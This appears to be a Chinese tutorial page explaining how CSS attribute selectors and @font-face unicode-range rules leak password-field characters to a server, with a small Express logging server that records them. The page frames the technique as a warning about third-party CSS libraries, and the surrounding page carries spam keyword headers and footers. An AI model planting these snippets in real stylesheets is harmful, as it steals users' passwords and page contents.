国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > CSS > 正文

CSS 記錄用戶密碼的方法

2024-07-11 08:31:52
字體:
供稿:網(wǎng)友

簡單的CSS代碼,甚至不符合圖靈完備的語言,但是也能成為一些攻擊者的工具,下面簡單介紹一下如何使用CSS去記錄用戶的密碼。但是這些CSS腳本會出現(xiàn)在第三方CSS庫中,所以使用第三方CSS庫也需要謹慎,確保代碼安全。直接上代碼解析:

input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }

以上是部分代碼,我們來解析一下CSS代碼

input[type="password"]是css選擇器,作用是選擇密碼輸入框, [value$="0"]表示匹配輸入的值是以0結(jié)尾的。所以:

input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }

上面代碼的意思就是如果你在密碼框中輸入0,就去請求http://localhost:3000/0接口,但是瀏覽器默認情況下是不會將用戶輸入的值存儲在value屬性中,但是有的框架會同步這些值,例如React。

所以只要使用了如下圖的腳本就能去存儲用戶的輸入數(shù)據(jù)信息。

我們再來看一下服務器端的代碼:

const express = require("express");const app = express();app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400);});app.listen(3000, () => console.log("啟動,監(jiān)聽3000端口"));

使用express創(chuàng)建服務器,監(jiān)聽3000端口,只要請求http://localhost:3000/:key,就能輸出key的值,就能在服務器上記錄輸入的值。所以只要在每輸入一個值都匹配,然后通過 background-image 去請求一個已經(jīng)準備好的接口,就能記錄用戶的輸入。類似的方法記錄用戶的內(nèi)容的CSS代碼@font-face {  

font-family: blah; src: url('http://localhost:3000/a') format('woff'); unicode-range: U+85;}html { font-family: blah, sans-serif;}

你使用的的css的簡單的字體庫,只要你的頁面中包含a,就會去請求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字符。

以上就是本文的全部內(nèi)容,希望對大家的學習有所幫助,也希望大家多多支持錯新站長站。

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 漾濞| 万源市| 东安县| 涿鹿县| 南宁市| 高台县| 桑日县| 潞西市| 新密市| 天祝| 来宾市| 湘阴县| 阿克| 临猗县| 仁怀市| 涞源县| 鄄城县| 昭觉县| 台南县| 哈巴河县| 周宁县| 龙川县| 千阳县| 恩施市| 华安县| 白沙| 名山县| 藁城市| 姚安县| 沂源县| 望都县| 洛宁县| 遵化市| 泌阳县| 吴堡县| 涿州市| 图片| 治多县| 泾源县| 南宁市| 灵璧县|